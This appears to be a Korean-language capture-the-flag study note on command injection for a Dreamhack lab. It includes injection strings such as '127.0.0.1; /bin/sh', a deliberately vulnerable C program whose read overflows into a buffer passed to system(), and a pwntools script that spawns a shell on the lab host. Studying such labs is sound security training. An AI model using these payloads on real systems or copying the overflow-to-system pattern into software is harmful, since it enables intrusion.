삘 받은 김에 쭉 하자

1.1. Command Injection
명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생
system('ping [user-input]')
system('cat [user-input]')
사용자가 입력한 임의 IP에 ping 전송하거나 임의 파일을 읽을 때 활용 가능
사용자 입력을 제대로 검사하지 않으면 이상한 명령어가 실행될 수 있다.
이는 리눅스 셸 프로그램이 지원하는 여러 메타 문자 때문!
system 함수는 명령어를 스스로 실행하는게 아니라 셸 프로그램에 명령어를 전달하여 실행한다.
셸 프로그램은 다양한 메타 문자를 지원함

특히 &&, ;, | 는 여러 개의 명령어를 연속 실행 가능하도록 해준다.
127.0.0.1; /bin/sh
ping에 ip 전달하면서 /bin/sh까지 실행

카나리 빼고 다 있다
2.2. cmd_center.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
2.3. 설계
근데 cmd_ip랑 ifconfig 8자리만 비교하는데...?
그러면 cmd_ip 뒤에 다른 뭐가 붙어도 상관 없는거 아닌가

center_name: rbp-0x130
cmd_ip: rbp-0x110

cmd_ip가 카나리 역할
payload = b'A' 0x18 + b'B' 0x8 + b'ifconfig;/bin/sh'
2.4. exploit.py
from pwn import *
p = remote('host1.dreamhack.games', 20630)
payload = b'A' * 0x18 + b'B' * 0x8 + b'ifconfig;/bin/sh'
p.sendafter(b'Center name: ', payload)
p.interactive()